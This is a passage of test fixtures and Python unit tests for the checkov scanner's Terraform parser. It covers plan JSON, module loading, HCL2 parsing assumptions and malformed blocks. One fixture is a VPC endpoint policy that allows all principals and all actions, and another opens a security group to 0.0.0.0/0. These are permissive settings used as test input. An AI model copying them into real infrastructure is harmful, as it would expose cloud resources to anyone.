"range_key": "test", "read_capacity": 20, "replica": [], "server_side_encryption": [ { "enabled": true, "kms_key_arn": "arn:aws:kms:us-west-2:111122223333:key/1234abcd-12ab-34cd-56ef-1234567890ab" } ], "stream_enabled": null, "tags": { "tag1": "test", "tag2": "test" }, "tags_all": { "tag1": "test", "tag2": "test" }, "timeouts": null, "ttl": [], "write_capacity": 20 }, "sensitive_values": { "attribute": [ {} ], "global_secondary_index": [], "local_secondary_index": [], "point_in_time_recovery": [ {} ], "replica": [], "server_side_encryption": [ {} ], "tags": {}, "tags_all": {}, "ttl": [] } } ] } }, "resource_changes": [ { "address": "aws_autoscaling_group.example", "mode": "managed", "type": "aws_autoscaling_group", "name": "example", "provider_name": "registry.terraform.io/hashicorp/aws", "change": { "actions": [ "create" ], "before": null, "after": { "capacity_rebalance": null, "enabled_metrics": null, "force_delete": false, "force_delete_warm_pool": false, "health_check_grace_period": 300, "health_check_type": "ELB", "initial_lifecycle_hook": [], "instance_refresh": [], "launch_configuration": "test", "launch_template": [], "load_balancers": null, "max_instance_lifetime": null, "max_size": 1, "metrics_granularity": "1Minute", "min_elb_capacity": null, "min_size": 1, "mixed_instances_policy": [], "placement_group": null, "protect_from_scale_in": false, "suspended_processes": null, "tag": [], "tags": [ { "key": "tag1", "propagate_at_launch": "true", "value": "test" }, { "key": "tag2", "propagate_at_launch": "true", "value": "test" } ], "target_group_arns": null, "termination_policies": null, "timeouts": null, "vpc_zone_identifier": [ "arn:aws:vpc:some_vpc" ], "wait_for_capacity_timeout": "10m", "wait_for_elb_capacity": null, "warm_pool": [] }, "after_unknown": { "arn": true, "availability_zones": true, "default_cooldown": true, "desired_capacity": true, "id": true, "initial_lifecycle_hook": [], "instance_refresh": [], "launch_template": [], "mixed_instances_policy": [], "name": true, "name_prefix": true, "service_linked_role_arn": true, "tag": [], "tags": [ {}, {} ], "vpc_zone_identifier": [ false ], "warm_pool": [] }, "before_sensitive": false, "after_sensitive": { "availability_zones": [], "initial_lifecycle_hook": [], "instance_refresh": [], "launch_template": [], "mixed_instances_policy": [], "tag": [], "tags": [ {}, {} ], "vpc_zone_identifier": [ false ], "warm_pool": [] } } }, { "address": "aws_autoscaling_group.example2", "mode": "managed", "type": "aws_autoscaling_group", "name": "example2", "provider_name": "registry.terraform.io/hashicorp/aws", "change": { "actions": [ "create" ], "before": null, "after": { "capacity_rebalance": null, "enabled_metrics": null, "force_delete": false, "force_delete_warm_pool": false, "health_check_grace_period": 300, "initial_lifecycle_hook": [], "instance_refresh": [], "launch_configuration": "test", "launch_template": [], "load_balancers": null, "max_instance_lifetime": null, "max_size": 1, "metrics_granularity": "1Minute", "min_elb_capacity": null, "min_size": 1, "mixed_instances_policy": [], "placement_group": null, "protect_from_scale_in": false, "suspended_processes": null, "tag": [ { "key": "tag1", "propagate_at_launch": true, "value": "test" }, { "key": "tag2", "propagate_at_launch": true, "value": "test" } ], "tags": null, "target_group_arns": null, "termination_policies": null, "timeouts": null, "wait_for_capacity_timeout": "10m", "wait_for_elb_capacity": null, "warm_pool": [] }, "after_unknown": { "arn": true, "availability_zones": true, "default_cooldown": true, "desired_capacity": true, "health_check_type": true, "id": true, "initial_lifecycle_hook": [], "instance_refresh": [], "launch_template": [], "mixed_instances_policy": [], "name": true, "name_prefix": true, "service_linked_role_arn": true, "tag": [ {}, {} ], "vpc_zone_identifier": true, "warm_pool": [] }, "before_sensitive": false, "after_sensitive": { "availability_zones": [], "initial_lifecycle_hook": [], "instance_refresh": [], "launch_template": [], "mixed_instances_policy": [], "tag": [ {}, {} ], "vpc_zone_identifier": [], "warm_pool": [] } } }, { "address": "aws_dynamodb_table.basic-dynamodb-table", "mode": "managed", "type": "aws_dynamodb_table", "name": "basic-dynamodb-table", "provider_name": "registry.terraform.io/hashicorp/aws", "change": { "actions": [ "create" ], "before": null, "after": { "attribute": [ { "name": "test", "type": "S" } ], "billing_mode": "PROVISIONED", "global_secondary_index": [], "hash_key": "test", "local_secondary_index": [], "name": "test", "point_in_time_recovery": [ { "enabled": true } ], "range_key": "test", "read_capacity": 20, "replica": [], "server_side_encryption": [ { "enabled": true, "kms_key_arn": "arn:aws:kms:us-west-2:111122223333:key/1234abcd-12ab-34cd-56ef-1234567890ab" } ], "stream_enabled": null, "tags": { "tag1": "test", "tag2": "test" }, "tags_all": { "tag1": "test", "tag2": "test" }, "timeouts": null, "ttl": [], "write_capacity": 20 }, "after_unknown": { "arn": true, "attribute": [ {} ], "global_secondary_index": [], "id": true, "local_secondary_index": [], "point_in_time_recovery": [ {} ], "replica": [], "server_side_encryption": [ {} ], "stream_arn": true, "stream_label": true, "stream_view_type": true, "tags": {}, "tags_all": {}, "ttl": [] }, "before_sensitive": false, "after_sensitive": { "attribute": [ {} ], "global_secondary_index": [], "local_secondary_index": [], "point_in_time_recovery": [ {} ], "replica": [], "server_side_encryption": [ {} ], "tags": {}, "tags_all": {}, "ttl": [] } } } ], "configuration": { "root_module": { "resources": [ { "address": "aws_autoscaling_group.example", "mode": "managed", "type": "aws_autoscaling_group", "name": "example", "provider_config_key": "aws", "expressions": { "health_check_type": { "constant_value": "ELB" }, "launch_configuration": { "constant_value": "test" }, "max_size": { "constant_value": 1 }, "min_size": { "constant_value": 1 }, "tags": { "constant_value": [ { "key": "tag1", "propagate_at_launch": true, "value": "test" }, { "key": "tag2", "propagate_at_launch": true, "value": "test" } ] }, "vpc_zone_identifier": { "constant_value": [ "arn:aws:vpc:some_vpc" ] } }, "schema_version": 0 }, { "address": "aws_autoscaling_group.example2", "mode": "managed", "type": "aws_autoscaling_group", "name": "example2", "provider_config_key": "aws", "expressions": { "launch_configuration": { "constant_value": "test" }, "max_size": { "constant_value": 1 }, "min_size": { "constant_value": 1 }, "tag": [ { "key": { "constant_value": "tag1" }, "propagate_at_launch": { "constant_value": true }, "value": { "constant_value": "test" } }, { "key": { "constant_value": "tag2" }, "propagate_at_launch": { "constant_value": true }, "value": { "constant_value": "test" } } ] }, "schema_version": 0 }, { "address": "aws_dynamodb_table.basic-dynamodb-table", "mode": "managed", "type": "aws_dynamodb_table", "name": "basic-dynamodb-table", "provider_config_key": "aws", "expressions": { "attribute": [ { "name": { "constant_value": "test" }, "type": { "constant_value": "S" } }, { "name": { "constant_value": "test" }, "type": { "constant_value": "S" } } ], "billing_mode": { "constant_value": "PROVISIONED" }, "hash_key": { "constant_value": "test" }, "name": { "constant_value": "test" }, "point_in_time_recovery": [ { "enabled": { "constant_value": true } } ], "range_key": { "constant_value": "test" }, "read_capacity": { "constant_value": 20 }, "server_side_encryption": [ { "enabled": { "constant_value": true }, "kms_key_arn": { "constant_value": "arn:aws:kms:us-west-2:111122223333:key/1234abcd-12ab-34cd-56ef-1234567890ab" } } ], "tags": { "constant_value": { "tag1": "test", "tag2": "test" } }, "write_capacity": { "constant_value": 20 } }, "schema_version": 1 } ] } } } ================================================ FILE: tests/terraform/parser/resources/plan_vpc_endpoint/tfplan.json ================================================ { "planned_values": { "root_module": { "resources": [ { "address": "aws_vpc_endpoint.test", "mode": "managed", "type": "aws_vpc_endpoint", "name": "test", "values": { "policy": "{\"Version\":\"2012-10-17\",\"Statement\":[{\"Effect\":\"Allow\",\"Principal\":\"*\",\"Action\":\"*\",\"Resource\":\"*\"}]}" } } ] } }, "configuration": { "root_module": { "resources": [ { "address": "aws_vpc_endpoint.test", "mode": "managed", "type": "aws_vpc_endpoint", "name": "test", "expressions": { "policy": { "constant_value": "{\"Version\":\"2012-10-17\",\"Statement\":[{\"Effect\":\"Allow\",\"Principal\":\"*\",\"Action\":\"*\",\"Resource\":\"*\"}]}" } } } ] } } } ================================================ FILE: tests/terraform/parser/resources/registry_security_group/registry_security_group.tf ================================================ module "security_group" { source = "terraform-aws-modules/security-group/aws" version = "3.18.0" name = "example" description = "Security group for example usage with EC2 instance" vpc_id = data.aws_vpc.default.id ingress_cidr_blocks = ["0.0.0.0/0"] ingress_rules = ["http-80-tcp", "all-icmp"] egress_rules = ["all-all"] } ================================================ FILE: tests/terraform/parser/resources/registry_security_group_inner_module/main.tf ================================================ module "web_server_sg" { source = "terraform-aws-modules/security-group/aws//modules/http-80" version = "4.0.0" name = "web-server" description = "Security group for web-server with HTTP ports open within VPC" vpc_id = "vpc-12345678" ingress_cidr_blocks = ["10.10.0.0/16"] } ================================================ FILE: tests/terraform/parser/skip_bad_tf_example.tf ================================================ variable "okay" { } // Variable is missing a name, not valid terraform syntex variable { name = "test" default = "test_value" type = "string" } module "bar" { memory = "1G" source = "baz" } module "okay" { source = "./okay" source = "baz2" } // Module is missing a name, can't be referenced or deployed module { source = "./not-okay" memory = "far" } ================================================ FILE: tests/terraform/parser/test_hcl2_load_assumptions.py ================================================ import json import unittest import hcl2 # This group of tests is used to confirm assumptions about how the hcl2 library parses into json. # We want to make sure important assumptions are caught if behavior changes. class TestHCL2LoadAssumptions(unittest.TestCase): def test_ternary(self): # Ternary and removal of parens are interesting things here tf = ''' resource "aws_instance" "foo" { metadata_options { http_tokens = (var.metadata_http_tokens_required) ? "required" : "optional" } }''' expect = { "resource": [{ "aws_instance": { "foo": { "metadata_options": [{ "http_tokens": ['${var.metadata_http_tokens_required ? "required" : "optional"}'] }], "__start_line__": 2, "__end_line__": 6, } } }] } self.go(tf, expect) def test_tfvars(self): tf = ''' VERSIONING = true CHECKOV = "awesome" ''' expect = { "VERSIONING": [True], "CHECKOV": ["awesome"] } self.go(tf, expect) def test_multiline_function(self): tf = ''' locals { a_string = merge( local.foo, {a="b"} ) }''' expect = { "locals": [ { "a_string": ["${merge(local.foo,{'a': 'b'})}"], "__start_line__": 2, "__end_line__": 7, } ] } self.go(tf, expect) def test_string_with_quotes(self): tf = ''' locals { a_string = "Quotes are \\"fun\\"!" }''' expect = { "locals": [ { "a_string": ["Quotes are \\\"fun\\\"!"], # __-- # | | # backslash quote "__start_line__": 2, "__end_line__": 4, } ] } self.go(tf, expect) def test_inner_quoting(self): tf = ''' locals { evil_strings1 = merge({a="}, evil"}) }''' expect = { "locals": [ { "evil_strings1": ["${merge({'a': '}, evil'})}"], "__start_line__": 2, "__end_line__": 4, }, ] } self.go(tf, expect) def test_merge_with_inner_var(self): tf = ''' resource "aws_s3_bucket" "foo" { tags = merge(local.common_tags, local.common_data_tags, {Name = "my-thing-${var.ENVIRONMENT}-${var.REGION}"}) }''' expect = { "resource": [ { "aws_s3_bucket": { "foo": { "tags": ["${merge(local.common_tags,local.common_data_tags,{'Name': 'my-thing-${var.ENVIRONMENT}-${var.REGION}'})}"], "__start_line__": 2, "__end_line__": 4, } } } ] } self.go(tf, expect) def test_variable_block(self): tf = ''' variable "my_var" { type = string default = "my_default_value" }''' expect = { "variable": [ { "my_var": { "type": ["${string}"], # NOTE: wrapped in eval markers "default": ["my_default_value"], "__start_line__": 2, "__end_line__": 5, } } ] } self.go(tf, expect) def test_module_block(self): tf = ''' module "bucket" { source = "./bucket" name = "module_bucket" BLAH = "a value" }''' expect = { "module": [ { "bucket": { "source": ["./bucket"], "name": ["module_bucket"], "BLAH": ["a value"], "__start_line__": 2, "__end_line__": 6, } } ] } self.go(tf, expect) def test_raw_assignment(self): tf = 'my_var = "my_value"\n' expect = { "my_var": ["my_value"] } self.go(tf, expect) def test_raw_assignment_true_string(self): tf = 'my_var = "true"\n' expect = { "my_var": ["true"] } self.go(tf, expect) def test_raw_assignment_false_string(self): tf = 'my_var = "false"\n' expect = { "my_var": ["false"] } self.go(tf, expect) def test_raw_assignment_1_string(self): tf = 'my_var = "1"\n' expect = { "my_var": ["1"] } self.go(tf, expect) def test_raw_assignment_0_string(self): tf = 'my_var = "0"\n' expect = { "my_var": ["0"] } self.go(tf, expect) def test_map_separators(self): tf = ''' locals { INTS = tomap({"a" = 1, "b" = 2}) }''' expect = { "locals": [ { "INTS": ["${tomap({'a': 1, 'b': 2})}"], # WHA?? Equals to colons? Okay... "__start_line__": 2, "__end_line__": 4, } ] } self.go(tf, expect) # from the "maze_of_variables" scenario def test_maze_of_variables(self): tf = ''' variable "gratuitous_var_default" { type = string default = "-yay" } variable "input" { default = "module-input" } locals { NAME = { "module-input-bucket" = "mapped-bucket-name" } TAIL = "works" } module "bucket" { source = "./bucket" name = var.input } resource "aws_s3_bucket" "example2" { # resolves to: mapped-bucket-name # | resolves to: module-input-bucket # | | resolves to: works # | | | resolves to: -yay # | | | | # v v v v bucket = "${local.NAME[${module.bucket.bucket_name}]}-${local.TAIL}${var.gratuitous_var_default}" # final result: mapped-bucket-name-works-yay }''' expect = { "variable": [ { "gratuitous_var_default": { "type": ["${string}"], # NOTE: wrapped in eval markers "default": ["-yay"], "__start_line__": 2, "__end_line__": 5, } }, { "input": { "default": ["module-input"], "__start_line__": 7, "__end_line__": 9, } } ], "locals": [ { "NAME": [{ "module-input-bucket": "mapped-bucket-name" }], "TAIL": ["works"], "__start_line__": 11, "__end_line__": 16, } ], "module": [ { "bucket": { "source": ["./bucket"], "name": ["${var.input}"], # NOTE: wrapped in eval markers "__start_line__": 18, "__end_line__": 21, } } ], "resource": [ { "aws_s3_bucket": { "example2": { "bucket": ["${local.NAME[${module.bucket.bucket_name}]}-${local.TAIL}${var.gratuitous_var_default}"], "__start_line__": 23, "__end_line__": 32, } } } ] } self.go(tf, expect) @staticmethod def go(tf, expected_result): actual_result = hcl2.loads(tf) assert actual_result == expected_result, "Results mismatch:\n" \ "** EXPECTED **\n" \ f"{json.dumps(expected_result, indent=2)}\n" \ f"** ACTUAL **\n" \ f"{json.dumps(actual_result, indent=2)}" def test_math(self): tf = "four = 2 + 2" expect = { "four": ["${2 + 2}"] } self.go(tf, expect) def test_weird_ternary_string_clipping(self): tf = 'bool_string_false = "false" ? "wrong" : "correct"' expect = { "bool_string_false": ['${"false" ? "wrong" : "correct"}'] } self.go(tf, expect) def test_splat_expression(self): tf = 'instances = flatten(aws_instance.ubuntu[*].id)' expect = { 'instances': ["${flatten(aws_instance.ubuntu[*].id)}"] } self.go(tf, expect) def test_provider_function(self): tf = "name2 = provider::test2::test(\"a\")" expect = { "name2": ["${provider::test2::test(\"a\")}"], } self.go(tf, expect) ================================================ FILE: tests/terraform/parser/test_module.py ================================================ import os import unittest import shutil import hcl2 from checkov.terraform.modules.module_utils import validate_malformed_definitions, clean_bad_definitions, \ clean_parser_types, serialize_definitions from checkov.terraform.tf_parser import TFParser from checkov.common.util.consts import DEFAULT_EXTERNAL_MODULES_DIR class ModuleTest(unittest.TestCase): def setUp(self) -> None: from checkov.terraform.module_loading.registry import ModuleLoaderRegistry # needs to be reset, because the cache belongs to the class not instance ModuleLoaderRegistry.module_content_cache = {} self.resources_dir = os.path.realpath(os.path.join(os.path.dirname(os.path.realpath(__file__)), "./resources")) self.external_module_path = '' def tearDown(self) -> None: if os.path.exists(self.external_module_path): shutil.rmtree(self.external_module_path) def test_module_double_slash_cleanup(self): with open(os.path.join(os.path.dirname(__file__), 'resources', 'double_slash.tf')) as f: tf = hcl2.load(f) non_malformed_definitions = validate_malformed_definitions(tf) definitions = { '/mock/path/to.tf': clean_bad_definitions(non_malformed_definitions) } module, _ = TFParser().parse_hcl_module_from_tf_definitions(definitions, '', 'terraform') print(module) self.assertEqual(1, len(module.blocks)) self.assertEqual('ingress.annotations.kubernetes\\.io/ingress\\.class', module.blocks[0].attributes['set.name']) def test_module_double_slash_cleanup_string(self): tf = hcl2.loads(""" resource "helm_release" "test" { name = "influxdb" repository = "https://helm.influxdata.com" chart = "influxdb" namespace = "influxdb" set { name = "ingress.annotations.kubernetes\\.io/ingress\\.class" value = var.influxdb_ingress_annotations_kubernetes_ingress_class } } """) non_malformed_definitions = validate_malformed_definitions(tf) definitions = { '/mock/path/to.tf': clean_bad_definitions(non_malformed_definitions) } module, _ = TFParser().parse_hcl_module_from_tf_definitions(definitions, '', 'terraform') print(module) self.assertEqual(1, len(module.blocks)) self.assertEqual('ingress.annotations.kubernetes\\.io/ingress\\.class', module.blocks[0].attributes['set.name']) def test_module_with_resource_type_attribute(self): tf = hcl2.loads(""" resource "azurerm_security_center_subscription_pricing" "example" { tier = "free" resource_type = "VirtualMachines" extension { name = "ContainerRegistriesVulnerabilityAssessments" } } """) non_malformed_definitions = validate_malformed_definitions(tf) definitions = { '/mock/path/to.tf': clean_bad_definitions(non_malformed_definitions) } module, _ = TFParser().parse_hcl_module_from_tf_definitions(definitions, '', 'terraform') self.assertEqual(1, len(module.blocks)) self.assertEqual(['VirtualMachines'], module.blocks[0].attributes['_resource_type']) def test_parse_hcl_module_serialize_definitions(self): parser = TFParser() directory = os.path.join(self.resources_dir, "parser_nested_modules") self.external_module_path = os.path.join(directory, DEFAULT_EXTERNAL_MODULES_DIR) tf_definitions = parser.parse_directory(directory=directory, out_evaluations_context={}) tf_definitions = clean_parser_types(tf_definitions) tf_definitions_encoded = serialize_definitions(tf_definitions) self.assertEqual(tf_definitions_encoded, tf_definitions) ================================================ FILE: tests/terraform/parser/test_new_parser_modules.py ================================================ import os import shutil import unittest from pathlib import Path from unittest import mock import pytest from checkov.common.util.consts import DEFAULT_EXTERNAL_MODULES_DIR from checkov.terraform.modules.module_objects import TFDefinitionKey, TFModule from checkov.terraform.graph_builder.local_graph import TerraformLocalGraph from checkov.terraform.tf_parser import TFParser @pytest.fixture def tmp_path(request, tmp_path: Path): # https://pytest.org/en/latest/how-to/unittest.html#mixing-pytest-fixtures-into-unittest-testcase-subclasses-using-marks request.cls.tmp_path = tmp_path @pytest.mark.usefixtures("tmp_path") class TestParserInternals(unittest.TestCase): expected_source_modules = {0: set(), 1: set(), 2: set(), 3: {0}, 4: {0}, 5: {0}, 6: {0}, 7: {1}, 8: {1}, 9: {1}, 10: {1}, 11: {3}, 12: {3}, 13: {3}, 14: {7}, 15: {7}, 16: {7}, 17: {4}, 18: {4}, 19: {4}, 20: {8}, 21: {8}, 22: {8}, 23: {8}, 24: {8}} def setUp(self) -> None: from checkov.terraform.module_loading.registry import ModuleLoaderRegistry # needs to be reset, because the cache belongs to the class not instance ModuleLoaderRegistry.module_content_cache = {} self.resources_dir = os.path.realpath(os.path.join(os.path.dirname(os.path.realpath(__file__)), "./resources")) self.external_module_path = '' def tearDown(self) -> None: if os.path.exists(self.external_module_path): shutil.rmtree(self.external_module_path) def test_load_inner_registry_module_new_parser(self): parser = TFParser() directory = os.path.join(self.resources_dir, "registry_security_group_inner_module") self.external_module_path = os.path.join(self.tmp_path, DEFAULT_EXTERNAL_MODULES_DIR) out_definitions = parser.parse_directory( directory=directory, out_evaluations_context={}, download_external_modules=True, external_modules_download_path=self.external_module_path) self.assertEqual(11, len(list(out_definitions.keys()))) expected_remote_module_path = f'{self.external_module_path}/github.com/terraform-aws-modules/terraform-aws-security-group/ff2efb814c924572d27280b99a799fc34d061109' expected_inner_remote_module_path = f'{expected_remote_module_path}/modules/http-80' expected_main_file = os.path.join(directory, 'main.tf') assert TFDefinitionKey(file_path=expected_main_file) in out_definitions assert TFDefinitionKey(file_path=f"{expected_inner_remote_module_path}/auto_values.tf", tf_source_modules=TFModule(name='web_server_sg', path=expected_main_file)) in out_definitions assert TFDefinitionKey(file_path=f"{expected_inner_remote_module_path}/main.tf", tf_source_modules=TFModule(name='web_server_sg', path=expected_main_file)) in out_definitions assert TFDefinitionKey(file_path=f"{expected_inner_remote_module_path}/outputs.tf", tf_source_modules=TFModule(name='web_server_sg', path=expected_main_file)) in out_definitions assert TFDefinitionKey(file_path=f"{expected_inner_remote_module_path}/variables.tf", tf_source_modules=TFModule(name='web_server_sg', path=expected_main_file)) in out_definitions assert TFDefinitionKey(file_path=f"{expected_inner_remote_module_path}/versions.tf", tf_source_modules=TFModule(name='web_server_sg', path=expected_main_file)) in out_definitions assert TFDefinitionKey(file_path=f"{expected_remote_module_path}/main.tf", tf_source_modules=TFModule(name='sg', path=f"{expected_inner_remote_module_path}/main.tf", nested_tf_module=TFModule(path=expected_main_file, name='web_server_sg'))) in out_definitions assert TFDefinitionKey(file_path=f"{expected_remote_module_path}/outputs.tf", tf_source_modules=TFModule(name='sg', path=f"{expected_inner_remote_module_path}/main.tf", nested_tf_module=TFModule(path=expected_main_file, name='web_server_sg'))) in out_definitions assert TFDefinitionKey(file_path=f"{expected_remote_module_path}/rules.tf", tf_source_modules=TFModule(name='sg', path=f"{expected_inner_remote_module_path}/main.tf", nested_tf_module=TFModule(path=expected_main_file, name='web_server_sg'))) in out_definitions assert TFDefinitionKey(file_path=f"{expected_remote_module_path}/variables.tf", tf_source_modules=TFModule(name='sg', path=f"{expected_inner_remote_module_path}/main.tf", nested_tf_module=TFModule(path=expected_main_file, name='web_server_sg'))) in out_definitions assert TFDefinitionKey(file_path=f"{expected_remote_module_path}/versions.tf", tf_source_modules=TFModule(name='sg', path=f"{expected_inner_remote_module_path}/main.tf", nested_tf_module=TFModule(path=expected_main_file, name='web_server_sg'))) in out_definitions def test_invalid_module_sources_new_parser(self): parser = TFParser() directory = os.path.join(self.resources_dir, "failing_module_address") self.external_module_path = os.path.join(directory, DEFAULT_EXTERNAL_MODULES_DIR) out_definitions = parser.parse_directory( directory=directory, out_evaluations_context={}, download_external_modules=True, external_modules_download_path=DEFAULT_EXTERNAL_MODULES_DIR) # check that only the original file was parsed successfully without getting bad external modules self.assertEqual(1, len(list(out_definitions.keys()))) def test_malformed_output_blocks_new_parser(self): parser = TFParser() directory = os.path.join(self.resources_dir, "malformed_outputs") self.external_module_path = os.path.join(directory, DEFAULT_EXTERNAL_MODULES_DIR) out_definitions = parser.parse_directory( directory=directory, out_evaluations_context={}, download_external_modules=True, external_modules_download_path=DEFAULT_EXTERNAL_MODULES_DIR) file_path, entity_definitions = next(iter(out_definitions.items())) self.assertEqual(2, len(list(out_definitions[file_path]['output']))) def test_load_local_module_new_parser(self): parser = TFParser() directory = os.path.join(self.resources_dir, "local_module") out_definitions = parser.parse_directory(directory=directory, out_evaluations_context={}) self.assertEqual(len(out_definitions), 3) self.assertEqual(len(parser.loaded_files_map), 2) local_module_path = os.path.join(directory, 'main.tf') module_path = os.path.join(directory, "module/main.tf") main_key = TFDefinitionKey(file_path=local_module_path) key_idx_0 = TFDefinitionKey(file_path=module_path, tf_source_modules=TFModule(path=local_module_path, name='mod')) key_idx_1 = TFDefinitionKey(file_path=module_path, tf_source_modules=TFModule(path=local_module_path, name='mod2')) assert main_key in out_definitions assert key_idx_0 in out_definitions assert key_idx_1 in out_definitions assert out_definitions[main_key]['module'][0]['mod']['__resolved__'] == [key_idx_0] assert out_definitions[main_key]['module'][1]['mod2']['__resolved__'] == [key_idx_1] assert parser.external_modules_source_map == {(os.path.join(directory, 'module'), 'latest'): os.path.join(directory, 'module')} assert parser.external_vars == {} assert parser.keys_to_remove == {TFDefinitionKey(file_path=module_path)} assert parser._parsed_directories == { directory, os.path.join(directory, 'module') } def test_load_nested_module_new_parser(self): parser = TFParser() directory = os.path.join(self.resources_dir, "parser_nested_modules") o_definitions = parser.parse_directory(directory=directory, out_evaluations_context={}) self.assertEqual(len(o_definitions), 5) self.assertEqual(len(parser.loaded_files_map), 5) main_module_path = os.path.join(directory, 'main.tf') module2_main_path = os.path.join(directory, 'module/module2/main.tf') module2_var_path = os.path.join(directory, 'module/module2/variable.tf') module1_main_path = os.path.join(directory, 'module/main.tf') module1_var_path = os.path.join(directory, 'module/variable.tf') main_module = TFDefinitionKey(file_path=main_module_path) module_main_key = TFDefinitionKey(file_path=module1_main_path, tf_source_modules=TFModule(path=main_module_path, name='s3_module')) module_var_key = TFDefinitionKey(file_path=module1_var_path, tf_source_modules=TFModule(path=main_module_path, name='s3_module')) module2_main_key = TFDefinitionKey(file_path=module2_main_path, tf_source_modules=TFModule(path=module1_main_path, name='inner_s3_module', nested_tf_module=TFModule(path=main_module_path, name='s3_module'))) module2_var_key = TFDefinitionKey(file_path=module2_var_path, tf_source_modules=TFModule(path=module1_main_path, name='inner_s3_module', nested_tf_module=TFModule(path=main_module_path, name='s3_module'))) assert main_module in o_definitions assert module_main_key in o_definitions assert module_var_key in o_definitions assert module2_main_key in o_definitions assert module2_var_key in o_definitions assert o_definitions[main_module]['module'][0]['s3_module']['__resolved__'] == [module_main_key, module_var_key] assert o_definitions[module_main_key]['module'][0]['inner_s3_module']['__resolved__'] == [module2_main_key, module2_var_key] def test_load_nested_dup_module(self): parser = TFParser() directory = os.path.join(self.resources_dir, "parser_dup_nested") o_definitions = parser.parse_directory(directory=directory, out_evaluations_context={}) self.assertEqual(len(o_definitions), 7) self.assertEqual(len(parser.loaded_files_map), 3) main_module_path = os.path.join(directory, 'main.tf') module1_path = os.path.join(directory, 'module/main.tf') module2_path = os.path.join(directory, 'module/module2/main.tf') main_module = TFDefinitionKey(file_path=main_module_path) module1_key0 = TFDefinitionKey(file_path=module1_path, tf_source_modules=TFModule(path=main_module_path, name='s3_module')) module1_key1 = TFDefinitionKey(file_path=module1_path, tf_source_modules=TFModule(path=main_module_path, name='s3_module2')) module2_key0_nest0 = TFDefinitionKey(file_path=module2_path, tf_source_modules=TFModule(path=module1_path, name='inner_s3_module', nested_tf_module=TFModule(path=main_module_path, name='s3_module'))) module2_key1_nest0 = TFDefinitionKey(file_path=module2_path, tf_source_modules=TFModule(path=module1_path, name='inner_s3_module2', nested_tf_module=TFModule(path=main_module_path, name='s3_module'))) module2_key0_nest1 = TFDefinitionKey(file_path=module2_path, tf_source_modules=TFModule(path=module1_path, name='inner_s3_module', nested_tf_module=TFModule(path=main_module_path, name='s3_module2'))) module2_key1_nest1 = TFDefinitionKey(file_path=module2_path, tf_source_modules=TFModule(path=module1_path, name='inner_s3_module2', nested_tf_module=TFModule(path=main_module_path, name='s3_module2'))) assert main_module in o_definitions assert module1_key0 in o_definitions assert module1_key1 in o_definitions assert module2_key0_nest1 in o_definitions assert module2_key1_nest1 in o_definitions assert module2_key0_nest0 in o_definitions assert module2_key1_nest0 in o_definitions def test_tf_parser(self): parser = TFParser() directory = os.path.join(self.resources_dir, "parser_dup_nested") module, tf_definitions = parser.parse_hcl_module(source_dir=directory, source='terraform') local_graph = TerraformLocalGraph(module) local_graph.build_graph(render_variables=True) for i, vertex in enumerate(local_graph.vertices): assert vertex.source_module == self.expected_source_modules[i] assert len(local_graph.edges) == 20 assert module assert tf_definitions def test_parser_with_tvars(self): parser = TFParser() directory = os.path.join(self.resources_dir, "parser_tfvars") module, tf_definitions = parser.parse_hcl_module(source_dir=directory, source='terraform') assert module def test_backtrack_module(self): # given directory = os.path.join(self.resources_dir, "parse_backtrack_module/example") # when module, tf_definitions = TFParser().parse_hcl_module( source_dir=directory, source="terraform", download_external_modules=False, # important to keep it 'False' ) # then assert module assert len(tf_definitions) == 2 # need to be 2 files (the module reference and the actual module content) ================================================ FILE: tests/terraform/parser/test_parse_file_vs_dir.py ================================================ import os import unittest from checkov.terraform.tf_parser import TFParser class TestFileVsDirParser(unittest.TestCase): def test_file_dir_parser_results_match(self): parser = TFParser() current_dir = os.path.dirname(os.path.realpath(__file__)) file_path = current_dir + '/resources/parse_file_vs_dir/main.tf' dir_path = current_dir + '/resources/parse_file_vs_dir' tf_definitions_file = parser.parse_file(file_path, {}) _, tf_definitions_dir = parser.parse_hcl_module(dir_path, 'terraform') self.assertDictEqual(tf_definitions_file, tf_definitions_dir.get(list(tf_definitions_dir.keys())[0])) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/parser/test_parser_internals.py ================================================ from pathlib import Path from typing import Dict from checkov.common.util.parser_utils import eval_string from checkov.terraform.tf_parser import load_or_die_quietly def test_eval_string_to_list() -> None: # given expected = ["a", "b", "c"] # when actual = eval_string('["a", "b", "c"]') assert actual == expected def test__load_or_die_quietly_with_bom() -> None: # given test_file = Path(__file__).parent / "resources/file_bom/with_bom.tf" parsing_errors: Dict[str, Exception] = {} # when definition = load_or_die_quietly(file=test_file, parsing_errors=parsing_errors) # then assert not parsing_errors assert definition == { "resource": [ { "aws_s3_bucket": { "example": {"bucket": ["example"], "__start_line__": 1, "__end_line__": 3}, }, } ] } def test__load_or_die_quietly_without_bom() -> None: # given test_file = Path(__file__).parent / "resources/file_bom/without_bom.tf" parsing_errors: Dict[str, Exception] = {} # when definition = load_or_die_quietly(file=test_file, parsing_errors=parsing_errors) # then assert not parsing_errors assert definition == { "resource": [ { "aws_s3_bucket": { "example": {"bucket": ["example"], "__start_line__": 1, "__end_line__": 3}, }, } ] } def test__load_or_die_quietly_with_timeout() -> None: test_file = Path(__file__).parent / "resources/hcl_timeout/main.tf" parsing_errors: Dict[str, Exception] = {} # when definition = load_or_die_quietly(file=test_file, parsing_errors=parsing_errors) # then assert parsing_errors assert str(test_file) in parsing_errors assert 'seconds to parse' in str(parsing_errors[str(test_file)]) ================================================ FILE: tests/terraform/parser/test_parser_var_blocks.py ================================================ import pprint import unittest from typing import List, Tuple from checkov.common.util.parser_utils import VarBlockMatch as VBM, split_merge_args, find_var_blocks class TestParserInternals(unittest.TestCase): def test_split_merge_args(self): cases: List[Tuple[str, List[str]]] = [ ("local.one, local.two", ["local.one", "local.two"]), ("{Tag4 = \"four\"}, {Tag5 = \"five\"}", ["{Tag4 = \"four\"}", "{Tag5 = \"five\"}"]), ("{a=\"b\"}, {a=[1,2], c=\"z\"}, {d=3}", ["{a=\"b\"}", "{a=[1,2], c=\"z\"}", "{d=3}"]), ("local.common_tags, merge({Tag4 = \"four\"}, {Tag5 = \"five\"})", ["local.common_tags", "merge({Tag4 = \"four\"}, {Tag5 = \"five\"})"]), (", ", None), ("", None), (", leading_comma", ["leading_comma"]), ("kinda_maybe_shouldnt_work_but_we_will_roll_with_it, ", # <-- trailing comma ["kinda_maybe_shouldnt_work_but_we_will_roll_with_it"]), ("local.one", ["local.one"]), ('{"a": "}, evil"}', # bracket inside string, should not be split ['{"a": "}, evil"}']), ("{'a': 